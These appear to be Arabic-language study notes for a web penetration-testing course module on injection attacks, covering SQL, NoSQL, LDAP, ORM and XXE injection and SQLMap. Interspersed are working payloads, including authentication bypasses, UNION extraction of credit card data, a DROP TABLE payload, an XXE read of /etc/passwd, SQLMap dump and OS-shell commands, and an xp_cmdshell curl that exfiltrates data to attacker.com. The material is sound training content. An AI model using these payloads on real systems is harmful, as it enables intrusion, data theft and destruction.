بتحدث لما التطبيق يعالج مدخلات غير موثوقة بشكل غير صحيح، وده بيسمح للمهاجم يحقن كود أو أوامر خبيثة في مسار تنفيذ التطبيق — الاستغلال بيتلاعب في طريقة تفاعل التطبيق مع الأنظمة الأساسية زي قواعد البيانات أو أنظمة الملفات أو نظام التشغيل.
| النوع | الآلية | التأثير |
|---|---|---|
| SQL Injection | استغلال عيوب بناء استعلامات قاعدة البيانات | سرقة بيانات، وصول غير مصرَّح، تلاعب بالبيانات |
| NoSQL Injection | حقن استعلامات خبيثة عبر مدخلات غير مُتحقَّق منها لقواعد زي MongoDB | وصول غير مصرَّح، حذف أو تلاعب بالبيانات |
| LDAP Injection | التلاعب في استعلامات LDAP لتجاوز المصادقة أو استرجاع بيانات دليل | وصول لبيانات دليل حساسة، اختراق النظام |
| ORM Injection | استغلال أطر ORM بحقن استعلامات خبيثة في الكود | وصول غير مصرَّح، فساد أو كشف البيانات |
| XXE Injection | حقن كيانات XML خبيثة لاستغلال محلّلات XML | كشف ملفات، SSRF، أو حرمان من الخدمة |
من أعلى الثغرات ترتيبًا في OWASP Top 10 لسنوات متتالية (المرتبة #1 في 2017 والمرتبة #3 في 2021). بتؤثّر على تطبيقات عبر كل الصناعات — تجارة إلكترونية، مالية، رعاية صحية، وأكتر — وبتظهر بكثرة في RESTful وSOAP APIs. أدوات آلية زي SQLMap بتسهّل اكتشاف واستغلال ثغرات الحقن على نطاق واسع.
TalkTalk (2015): SQL Injection أدّى لتسريب بيانات 157 ألف عميل. Equifax (2017): ثغرات من ضمنها SQL Injection ساهمت في اختراق كشف 147 مليون سجل.
ثغرة حقن بتحدث لما المهاجم يحقن تعليمات SQL خبيثة في حقول إدخال التطبيق — بسبب عدم تحقّق التطبيق من المدخلات بشكل صحيح، مما يسمح بحقن كود/استعلامات SQL تتلاعب في قاعدة البيانات أو تمنح وصول لمعلومات حساسة.
المصطلح صكّه Jeff Forristal ("Rain Forest Puppy") في ورقة بحثية بمؤتمر DefCon 8 سنة 2000. أبرز الحوادث: اختراق شبكة وزارة الطاقة الأمريكية (1998)، سرقة بيانات بطاقات ائتمان من CD Universe (2000 — أول هجوم موثَّق علنًا)، اختراق قاعدة بيانات الأمم المتحدة (2002)، تسريب 6.5 مليون كلمة مرور من LinkedIn (2012)، وتسريب بيانات Ashley Madison (2015).
النوع الأكثر شيوعًا — المهاجم بيستخدم نفس قناة الاتصال لإرسال الهجوم واستلام النتائج. خطير جدًا لأنه ممكن يُستخدَم لسرقة بيانات حساسة أو تعديل/حذف البيانات أو الاستيلاء الكامل على التطبيق أو السيرفر. ينقسم إلى:
التطبيق مش بيُرجع معلومات أو رسائل خطأ مفيدة مباشرة في الاستجابة. المهاجم بيستنتج معلومات عن قاعدة البيانات عبر تقنيات غير مباشرة. ينقسم إلى:
الأقل شيوعًا — المهاجم بيستخرج بيانات من قاعدة البيانات عبر قناة مختلفة تمامًا عن التطبيق نفسه، بدون الحاجة لاستلام أي استجابة مباشرة من التطبيق. يُستخدَم عبر إرسال طلبات HTTP لسيرفر يتحكّم فيه المهاجم أو عبر استعلامات DNS لاستخراج البيانات.
| النوع | مثال الاستعلام | Payloads اختبارية |
|---|---|---|
| Integer-Based | SELECT * FROM Users WHERE id = FUZZ | AND 1 (صح) / AND 0 (خطأ) / 1*56 (يرجّع 56 لو عرضة للحقن) |
| String-Based | SELECT * FROM Users WHERE name = 'FUZZ' | ' (خطأ) / '' (صح) — علامة الاقتباس المفردة لإنهاء السلسلة النصية |
اختبر حقنة واحدة في كل مرة — لو جرّبت أكتر من واحدة مع بعض، مش هتقدر تحدّد أي Payload هو اللي نجح فعليًا.
# الاستعلام الأصلي:
SELECT * FROM users WHERE username = '<username>' AND password = '<password>'
# الحمولة المحقونة في username:
' OR '1'='1'; --
# الاستعلام بعد الحقن:
SELECT * FROM users WHERE username = '' OR '1'='1'; -- ' AND password = '<password>'
# الشرط '1'='1' دايمًا صح → تجاوز المصادقة
كل DBMS بيستجيب لاستعلامات خاطئة برسائل خطأ مختلفة — مثلًا MS-SQL بترجّع Incorrect syntax near [query]، بينما MySQL بترجّع You have an error in your SQL syntax.... الفرق ده بيساعد في تحديد نوع قاعدة البيانات المستهدَفة.
تقنية بتعتمد على التسبّب المتعمَّد في أخطاء قاعدة بيانات واستخدام رسائل الخطأ المُرجَعة لاستخراج معلومات أو الحصول على وصول غير مصرَّح به.
إيجاد معامل في التطبيق عرضة للحقن — عبر حقول إدخال، معاملات رابط، أو حقول نموذج.
صياغة Payload يحتوي عبارات SQL مصمَّمة لإثارة خطأ قاعدة بيانات — إضافة بناء جملة غير صالح أو التلاعب في استعلام موجود.
إرسال الـ Payload وملاحظة رسالة الخطأ المُرجَعة من قاعدة البيانات — توفّر معلومات قيّمة عن بنية ومحتوى قاعدة البيانات.
تعديل الـ Payload لاستخراج معلومات محدَّدة من قاعدة البيانات بالاستفادة من رسائل الخطأ — أسماء مستخدمين، كلمات مرور، أو بيانات حساسة أخرى.
استغلال المعلومات المُجمَّعة عبر Error-Based SQLi لتوسيع الاستغلال أو الحصول على وصول غير مصرَّح به.
يستغل القدرة على استخدام عامل UNION في استعلامات SQL — يحدث لما التطبيق يفشل في التحقّق أو تنقية مدخلات المستخدم، ويسمح بحقن كود SQL خبيث في الاستعلام. يتطلّب تطابق عدد الأعمدة وأنواع بياناتها بين جمل SELECT المدموجة.
# الاستعلام الأصلي:
SELECT id, name FROM users WHERE id = '<user_input>'
# الحمولة المحقونة:
' UNION SELECT credit_card_number, 'hack' FROM credit_cards --
# الاستعلام بعد الحقن:
SELECT id, name FROM users WHERE id = '' UNION SELECT credit_card_number, 'hack' FROM credit_cards --
# النتيجة هتشمل أرقام بطاقات ائتمان بجانب بيانات المستخدم الأصلية
تقنية بتعتمد على التلاعب في استعلامات SQL لإدخال تأخيرات — المهاجم بيستنتج معلومات عن قاعدة البيانات بقياس التأخير في استجابة التطبيق.
# الاستعلام الأصلي:
SELECT * FROM users WHERE username = '[username]' AND password = '[password]';
# الحمولة في حقل username:
' OR SLEEP(5) -- '
# الاستعلام بعد الحقن:
SELECT * FROM users WHERE username = '' OR SLEEP(5) -- ' AND password = '[password]';
# لو السيرفر استغرق 5 ثوانٍ إضافية في الاستجابة → نقطة الحقن عرضة لـ Time-Based SQLi
المهاجم بيستغل استجابة التطبيق لشروط منطقية لاستنتاج معلومات عن قاعدة البيانات — بيبعت استعلام SQL خبيث ويقيّم الاستجابة حسب نجاح أو فشل تنفيذ الاستعلام. بسؤال سلسلة من الأسئلة صح/خطأ وتحليل الاستجابات، المهاجم يقدر يبني تدريجيًا صورة كاملة عن بنية ومحتوى قاعدة البيانات.
' AND 1=1 -- (شرط صحيح) مقابل ' AND 1=2 -- (شرط خاطئ) — الفرق في استجابة التطبيق (محتوى، حالة HTTP، أو حتى وقت التحميل) هو مؤشر الثغرة.
تحديد كل حقول إدخال المستخدم اللي بتتفاعل مع قاعدة البيانات، وفهم منطق التطبيق للتنبؤ ببنية استعلامات SQL المحتملة.
استخدام كلمات مفتاحية SQL خاصة بأنظمة إدارة قواعد بيانات معيَّنة ومراقبة استجابة الموقع لتحديد نوع DBMS المستخدَم.
اختبار Payloads أساسية زي ' OR '1'='1 و' AND '1'='2 ومراقبة الأخطاء أو المخرجات غير المتوقَّعة.
حقن Payloads تتسبّب عمدًا في أخطاء بناء جملة SQL والبحث عن رسائل خطأ تكشف نوع أو بنية قاعدة البيانات.
استخدام Payloads منطقية (' AND 1=1 -- / ' AND 1=2 --) وPayloads زمنية (' OR IF(1=1, SLEEP(5), 0) --) لاختبار الاستجابة بدون مخرجات مباشرة.
تحديد عدد الأعمدة بزيادة قيم NULL تدريجيًا (UNION SELECT NULL --)، ثم اختبار استخراج البيانات (UNION SELECT username, password FROM users --).
اختبار OOB SQLi عبر استدعاءات DNS أو HTTP (مثل Burp Collaborator)، والبحث عن ثغرات من الدرجة الثانية (Second-Order) تُنفَّذ في استعلامات لاحقة.
استخدام أدوات زي SQLMap أو Burp Suite أو OWASP ZAP لإجراء فحوصات آلية، مع تأكيد يدوي لتجنّب False Positives.
التحقق من قابلية استغلال الثغرة فعليًا عبر استخراج بيانات أو تنفيذ إجراءات غير مصرَّح بها، وتوثيق التأثير والتوصيات.
أداة مفتوحة المصدر بتؤتمت عملية اكتشاف واستغلال ثغرات SQL Injection في تطبيقات الويب — بتدعم قواعد بيانات علائقية (MySQL، PostgreSQL، MSSQL، Oracle، SQLite، MariaDB) ودعم تجريبي لقواعد NoSQL (MongoDB، CouchDB).
دايمًا اختبر الحقن يدويًا أولًا، وبعدين وسّع اختبارك بـ SQLMap. لو شغّلت SQLMap تلقائيًا بالكامل من غير فهم مسبق، ممكن يختار استراتيجية استغلال غير فعّالة أو حتى يسقّط الخدمة البعيدة. ابدأ دايمًا بتحديد الثغرة يدويًا، وتحقّق من وجودها ونوعها بـ SQLMap بعدين — هيديك معلومات أدق عن الثغرة بالطريقة دي.
sqlmap -u "http://example.com/login.php?id=1" — SQLMap بيبعت Payloads اختبارية زي ' OR '1'='1 ويحلّل الاستجابة.
--fingerprint — بيحدّد نوع DBMS المستخدَم لتكييف أساليب الهجوم.
يختبر أنواع مختلفة (Error-based، Time-based، Boolean-based، UNION-based).
بيجيب بنية قاعدة البيانات والجداول والبيانات لو الحقن مؤكَّد.
--os-shell — SQLMap يقدر يصعّد الهجوم للحصول على وصول على مستوى نظام التشغيل أو تنفيذ أوامر.
sqlmap -u <URL> -p <Injection Parameter> [options]
# استهداف POST مع بيانات نموذج:
sqlmap -u "http://example.com/login.php" --data="username=admin&password=123"
# استخدام كوكي جلسة للمصادقة:
sqlmap -u "http://example.com/product.php?id=1" --cookie="PHPSESSID=abc123"
sqlmap -u <target> --banner # بصمة/اسم قاعدة البيانات
sqlmap -u <target> --users # تعداد مستخدمي DBMS
sqlmap -u <target> --is-dba # هل المستخدم الحالي DBA؟
sqlmap -u <target> --dbs # سرد قواعد البيانات
sqlmap -u <target> -D users_db --tables # سرد الجداول
sqlmap -u <target> -D users_db -T user_credentials --columns # سرد الأعمدة
sqlmap -u <target> -D users_db -T user_credentials --dump # استخراج البيانات
| الرمز | التقنية | الوصف |
|---|---|---|
| B | Boolean-Based Blind | تقييم شروط صح/خطأ لاستنتاج المعلومات |
| E | Error-Based | استخدام رسائل خطأ قاعدة البيانات لاستخراج المعلومات |
| U | UNION-Based | استغلال عامل UNION لاستخراج البيانات |
| S | Stacked Queries | تنفيذ عدة جمل SQL في استعلام واحد (لو مدعوم) |
| T | Time-Based Blind | قياس تأخيرات الاستجابة لاستنتاج شروط صح/خطأ |
| Q | Inline Queries | استخدام استعلامات فرعية للاستخراج (أقل شيوعًا) |
تشغيل SQLMap بـ level وrisk عاليين وتركه يختبر تلقائيًا بدون فهم مسبق للتطبيق ده سلوك غير احترافي وممكن يسبّب مشاكل فعلية لبنية العميل التحتية. ادرس التطبيق بعناية قبل استخدام --risk العالي.
# استخدام طلب مُعترَض من Burp:
sqlmap -r <request_file> -p parameter [options]
# أهم الخيارات:
--fingerprint تحديد نوع وإصدار DBMS
--tamper=<script> تطبيق سكريبتات Tamper لتجاوز WAF
--os-shell فتح شل نظام تشغيل لو ممكن
--file-read=<path> قراءة ملفات من سيرفر الهدف
--batch تشغيل بدون تفاعل (بدون أسئلة)
نوع من SQLi المهاجم فيه مش بيعتمد على استجابة مباشرة (In-Band) من التطبيق — بدل كده، بيخلّي قاعدة البيانات تتواصل مع سيرفر خارجي يتحكّم فيه، عبر قنوات زي DNS أو HTTP، لتسريب بيانات أو تأكيد الثغرة. مفيد جدًا لما التطبيق مش بيعرض رسائل خطأ، أو الاستجابات مش قابلة للملاحظة، أو قاعدة البيانات الهدف قادرة على إرسال طلبات صادرة.
LOAD_FILE، MSSQL OPENROWSET، Oracle UTL_HTTP). ميزة: استدعاءات DNS خفيفة، تعمل عبر الجدران النارية، وأصعب في الكشف.xp_cmdshell، PostgreSQL COPY، MySQL LOAD_FILE).# المعامل الهدف:
http://example.com/product.php?id=1
# الحمولة (MySQL LOAD_FILE):
1' UNION SELECT LOAD_FILE('\\\\attacker.dnslog.cn\\file') --
# مراقبة سجلات DNS Server (مثل dnslog.cn):
Query: attacker.dnslog.cn ← تأكيد الثغرة
# الحمولة (MSSQL xp_cmdshell):
'; EXEC xp_cmdshell 'curl http://attacker.com?data=(SELECT@@version)' --
# ما يصل لسيرفر المهاجم (مثلًا Burp Collaborator أو Ngrok):
GET /?data=Microsoft SQL Server 2019
في SQLi التقليدي (First-Order)، المهاجم بيبعت مدخل خبيث مباشرة، والتطبيق بيعالجه ويرجّع استجابة فورية قابلة للاستغلال — التفاعل زي نظام "تحدي-استجابة" فوري. Second-Order SQLi مختلف: الـ Payload مش بيتنفّذ فورًا عند الحقن الأولي — بدل كده بيتخزّن في قاعدة البيانات وبيتنفّذ لاحقًا لما استعلام أو وظيفة تانية في التطبيق تعالجه.
بيستغل الحالات اللي فيها مدخلات المستخدم بتتنظّف أثناء الاستعلام الأولي، لكن بتُستخدَم لاحقًا بدون تنظيف في عملية قاعدة بيانات تانية — المطوّرون غالبًا ما بيتوقعوش إن بيانات مخزَّنة ومُنظَّفة سابقًا ممكن تكون خطيرة.
المهاجم بيحدّد حقل إدخال عرضة ويخزّن Payload خبيث من غير ما يتنفّذ فورًا.
لاحقًا، التطبيق بيسترجع البيانات المخزَّنة ويستخدمها في استعلام تاني بدون تنظيف مناسب — الحمولة الخبيثة بتتنفّذ في العملية الثانوية دي.
تسريب بيانات، تصعيد صلاحيات، أو اختراق كامل للنظام، حسب الغرض من الاستعلام الثاني.
# مرحلة 1 — التسجيل بـ username خبيث (يُخزَّن كنص بعد تنظيفه ظاهريًا):
'); DROP TABLE users; --
# مرحلة 2 — لما الأدمن يعرض بيانات المستخدم لاحقًا، التطبيق بيبني استعلام:
SELECT * FROM users WHERE username = ''); DROP TABLE users; --';
# الحمولة بتتنفّذ الآن → جدول users يُحذَف بالكامل
نهج غير علائقي لتخزين واسترجاع البيانات — أكثر مرونة من قواعد البيانات العلائقية التقليدية، بيتعامل مع بيانات غير مهيكلة وشبه مهيكلة وسريعة التطوّر. ظهرت لتلبية الحاجة لقابلية التوسّع والأداء والمرونة.
| الميزة | SQL | NoSQL |
|---|---|---|
| النوع | علائقي | غير علائقي |
| نموذج التخزين | جداول بصفوف وأعمدة ثابتة | غير مهيكل — JSON، أزواج مفتاح-قيمة |
| Schema | ثابت/صارم | ديناميكي/مرن |
| قابلية التوسّع | رأسية (Vertical) | أفقية (Horizontal) |
| اللغة | SQL المهيكلة | لغات استعلام غير مهيكلة خاصة بكل قاعدة |
بيحدث لما المهاجم يتلاعب في استعلام قاعدة بيانات NoSQL عبر حقن مدخلات خبيثة — بيستغل ضعف معالجة التطبيق لمدخلات المستخدم المرسَلة إليه.
// الاستعلام العادي:
var query = { username: username, password: password };
var result = db.users.findOne(query);
// حمولة المهاجم في حقل username:
username: { $gt: "" }
// $gt (أكبر من) بقيمة فارغة بيتلاعب في منطق الاستعلام
// وبيرجّع أول سجل مستخدم في قاعدة البيانات — تجاوز تسجيل الدخول
| Payload | الاستخدام |
|---|---|
username[$ne]=1&password[$ne]=1 | لا يساوي (تجاوز مصادقة) |
username[$regex]=^adm&password[$ne]=1 | فحص تعبير نمطي (تجاوز مصادقة) |
username[$regex]=.{25}&pass[$ne]=1 | تحديد طول قيمة معيّنة |
username[$eq]=admin&password[$ne]=1 | يساوي |
username[$ne]=admin&pass[$gt]=s | أكبر من |
Lightweight Directory Access Protocol — بروتوكول لتعديل والاستعلام عن خدمات الدليل عبر TCP/IP. خدمة الدليل نظام شبيه بقاعدة بيانات متخصّصة بتخزّن وتنظّم البيانات في بنية هرمية — شائعة في بيئات المؤسسات لإدارة حسابات المستخدمين والمجموعات والصلاحيات.
| المنفذ | البروتوكول | الوصف |
|---|---|---|
| 389 | LDAP | المنفذ الافتراضي للاتصال النصي الصريح |
| 636 | LDAPS | المنفذ الافتراضي للاتصال الآمن (SSL/TLS) |
| 3268 | Global Catalog | كتالوج شامل عبر LDAP نصي |
| 3269 | Global Catalog LDAPS | كتالوج شامل عبر LDAP آمن |
مُنظَّمة كشجرة هرمية (Directory Information Tree / DIT) — كل إدخال بيمثّل كائن واحد (مستخدم، مجموعة، مورد)، معرَّف بـ Distinguished Name (DN) فريد زي cn=John Doe,ou=Users,dc=example,dc=com، وموصوف بخصائص (Attributes) زي cn وmail.
بتستخدم معاملات: = (يساوي)، | (أو منطقي)، ! (ليس منطقي)، & (و منطقي)، * (Wildcard). مثال: (cn=J*) بيجيب كل الإدخالات اللي الاسم فيها يبدأ بـ J.
بيحدث لما مدخلات المستخدم تُدمَج في استعلام LDAP بدون تنقية أو تحقّق مناسب — ده بيسمح للمهاجم يتلاعب في بنية الاستعلام، مما يؤدي لوصول غير مصرَّح أو تجاوز المصادقة أو استخراج معلومات دليل حساسة.
# الاستعلام الأصلي:
(&(uid={username})(password={password}))
# حقن المهاجم في username:
*)(uid=*)
# الاستعلام الناتج:
(&(uid=*)(uid=*)(password={password}))
# *) بتقفل الفلتر الأصلي مبكرًا وبتضيف شرط Wildcard جديد
# → مطابقة كل المستخدمين → تجاوز المصادقة
Object-Relational Mapping — تقنية برمجية بتربط الأوبجكتس في التطبيق بجداول قاعدة البيانات، بتجرّد عمليات قاعدة البيانات وبتخلّي المطوّرين يتفاعلوا مع قاعدة البيانات بمفاهيم البرمجة الكائنية بدل كتابة SQL خام. أمثلة شائعة: SQLAlchemy (Python)، Hibernate (Java)، Entity Framework (.NET)، Django ORM، Eloquent (PHP).
نوع من الحقن يستهدف تطبيقات بتستخدم إطار ORM — بيحدث لما مدخلات مستخدم غير موثوقة تُمرَّر بدون تنقية مناسبة لدوال استعلام ORM، مما يسمح للمهاجم يتلاعب في استعلام SQL المُولَّد من ORM في الخلفية.
بناء استعلامات ديناميكية بدمج سلاسل نصية مع مدخلات المستخدم (بدل استخدام API الـ ORM الآمن)، استخدام SQL خام داخل ORM بدون تنقية، وسوء استخدام المطوّرين لميزات بناء الاستعلامات اللي بتتخطّى حماية الـ ORM الافتراضية.
# كود عرضة (بناء استعلام ديناميكي بدمج نصوص):
user = User.query.filter(f"username = '{username}' AND password = '{password}'").all()
# حمولة المهاجم:
# username: admin' OR '1'='1
# password: (أي قيمة)
# الاستعلام الناتج:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything';
# الشرط OR '1'='1' دايمًا صح → تجاوز مصادقة وتسجيل دخول كأول مستخدم في القاعدة
eXtensible Markup Language — لغة ترميز لتخزين ونقل البيانات بصيغة قابلة للقراءة ومستقلة عن المنصّة. لسه حي ومنتشر رغم ظهور بدائل زي YAML وJSON، وله استخدامات عملية واسعة (PDF، RSS، OOXML، SVG، وبروتوكولات زي SOAP وWebDAV).
مستندات XML بتُنظَّم كشجرة هرمية تبدأ من عنصر جذر واحد. DTD (Document Type Definition) بيحدّد بنية وعناصر وخصائص المستند — مستند XML بصياغة صحيحة يُسمى "Well Formed"، ولو اتحقّق مقابل DTD يُسمى "Valid" كمان.
ثغرة بتحدث لما المهاجم يتلاعب في مدخلات المستخدم لحقن بيانات XML خبيثة في مستند أو استعلام XML — ممكن تؤدّي لوصول غير مصرَّح، تسريب بيانات، أو تلاعب في سلوك التطبيق.
| النوع | الوصف | التأثير |
|---|---|---|
| XML Data Manipulation | تعديل بيانات XML للتلاعب في سلوك التطبيق | تلاعب بالبيانات، تجاوز مصادقة |
| XML Tag Injection | حقن تاغات XML جديدة أو معدَّلة | تصعيد صلاحيات، مشاكل تحليل XML |
| XPath Injection | حقن تعبيرات XPath خبيثة | وصول غير مصرَّح، تجاوز مصادقة |
| XXE | استغلال الكيانات الخارجية في معالجة XML | كشف ملفات، SSRF، DoS |
| Billion Laughs Attack | كيانات متكرّرة بتستنزف الموارد | حرمان من الخدمة (DoS) |
<user>
<username>admin</username>
<role><admin/></role>
</user>
<!-- حقن تاغ <admin/> ممكن يخدع التطبيق ويمنح المهاجم صلاحيات إدارية -->
حقن Metacharacters زي ' " < > & واختبار علامات الاقتباس المفردة/المزدوجة والـ Ampersand (&EntityName;) والأقواس الزاوية لرصد أخطاء التحليل والتأكد من وجود الثغرة.
أخطر نوع من هجمات XML Injection — بيحدث لما محلّل XML يعالج كيانات خارجية (External Entities) مُشار إليها في مستند XML، مما يسمح بـ: كشف بيانات (قراءة ملفات حساسة على السيرفر)، حرمان من الخدمة (إثقال السيرفر بحمولات خبيثة)، وSSRF (الوصول لموارد داخلية أو خارجية).
الكيانات الخاصة (Private) محصورة بمؤلف أو مجموعة مؤلفين، والكيانات العامة (Public) مصمَّمة لاستخدام أوسع. الكيانات الخاصة هي الأخطر لأنها بتسمح بكشف ملفات النظام المحلي والتلاعب في مخططات الشبكة والتطبيقات الداخلية.
المهاجم بيصنع ملف XML خبيث فيه تعريف كيان خارجي بيشاور لملف محلي.
وضع مرجع للكيان المُعرَّف جوه جسم طلب XML.
بعد إرسال الطلب وإجبار المحلّل على جلب المحتوى الخبيث، لازم نقنع التطبيق يعرض المعلومات المُرسَلة مرة تانية — مثلًا لما المستلم يقرأ الرسالة، هيشوف محتوى الملف المحلي كمان.
<!DOCTYPE message [
<!ENTITY xxefile SYSTEM "file:///etc/passwd">
]>
<message>
<body>&xxefile;</body>
</message>
<!-- عند معالجة الرسالة، المستلم هيشوف محتوى /etc/passwd جوه جسم الرسالة -->
' OR '1'='1
' OR 1=1 --
" OR 1=1 --
' OR 'x'='x
admin' --
admin' #
' having 1=1 --
' AND id IS NULL; --
' OR '1'='1' /* -- MySQL
' OR '1'='1' %00
sqlmap -u "" --dbs
sqlmap -u "" -D --tables
sqlmap -u "" -D -T --dump
sqlmap -u "" --technique=B
sqlmap -u "" --level=3 --risk=2
sqlmap -u "" --os-shell
https://owasp.org/www-project-web-security-testing-guide/github.com/tanprathan/OWASP-Testing-Checklistgithub.com/payloadbox/sql-injection-payload-listportswigger.net/web-security/sql-injection/cheat-sheetgithub.com/swisskyrepo/PayloadsAllTheThingssqlmap.org / github.com/sqlmapproject/sqlmap| # | التحقق | الأداة/الطريقة | النوع المحتمَل |
|---|---|---|---|
| 1 | رسالة خطأ DBMS ظاهرة عند حقن علامة اقتباس؟ | فحص يدوي | Error-Based SQLi |
| 2 | عدد الأعمدة يتطابق عبر ORDER BY؟ | UNION SELECT NULL تدريجي | Union-Based SQLi |
| 3 | تأخير ملحوظ عند SLEEP()؟ | مقارنة وقت الاستجابة | Time-Based Blind SQLi |
| 4 | مفيش استجابة ملحوظة أبدًا؟ | Burp Collaborator / dnslog.cn | OOB SQLi |
| 5 | بيانات مخزَّنة بتُستخدَم لاحقًا في استعلام تاني؟ | تتبّع تدفّق البيانات | Second-Order SQLi |
الموديول ده غطّى أخطر فئة ثغرات الويب بعمق — من أساسيات SQL Injection وأتمتتها بـ SQLMap، مرورًا بتقنيات OOB وSecond-Order المتقدّمة، ووصولًا لـ NoSQL وLDAP وORM وXXE.
الفكرة الجوهرية للموديول: هجمات الحقن كلها، بغضّ النظر عن التقنية الخلفية، مبنية على نفس المبدأ — ثقة زائدة في مدخلات المستخدم بدون تحقّق أو تنقية كافية. المختبر المحترف بيفكّر في كل حقل إدخال كبوابة محتملة لنظام خلفي، مهما كانت الطبقة اللي بتفصلهم (ORM، API، أو أي تجريد آخر).
قبل ما تفتح SQLMap، افهم التطبيق يدويًا أولًا — نوع قاعدة البيانات، طبيعة المدخلات، وهل فيه طبقة ORM أو WAF بينك وبين الاستعلام الفعلي. اختبر حقنة واحدة في كل مرة، ووثّق كل Payload جرّبته والنتيجة المقابلة له — ده اللي هيفرّق بين تقرير احترافي قابل لإعادة الإنتاج وتقرير مبهم.
نهاية نوتس الموديول الثالث — Advanced Injection Attacks (eWPTXv3)